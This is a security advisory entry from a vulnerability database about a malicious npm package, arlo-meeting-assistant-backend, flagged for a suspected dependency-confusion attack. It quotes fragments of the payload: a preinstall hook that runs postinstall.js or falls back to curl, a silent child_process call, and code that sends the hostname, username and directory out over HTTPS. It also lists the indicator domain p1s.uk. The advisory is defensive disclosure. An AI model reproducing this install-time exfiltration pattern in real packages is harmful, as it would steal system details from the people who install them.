VDB
GCVE-110-OSM-2026-2022
GCVE-110-OSM-2026-2022
Advisory PublishedCVSS 9.6/10
Suspected dependency confusion attack. Behaviors: data exfiltration, code execution, install-time execution.
Payload: postinstall.js
Key findings:
- System Information Exfiltration in postinstall.js: "__dirname,
t: new Date().toISOString()
});
const req = https.request"
- Install Hook Executes Local JS File in package.json: ""preinstall": "node postinstall.js || curl -sk --max-time 5 \""
- Shell Command Execution in postinstall.js: "require('child_process')"
- HTTP Data Exfiltration in postinstall.js: "os.hostname(),
u: os.userInfo().username,
d: __dirname,
t: new Date(..."
- Silent Process Execution in postinstall.js: "stdio: 'ignore'"
IOCs:
- domains: p1s.uk
- payloadFileHash: ac395055e6080be0dfc8e499ead092fe255b0642c6e51b5ac2f2de5c094ecb0b
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | arlo-meeting-assistant-backend | all (affected) | — |
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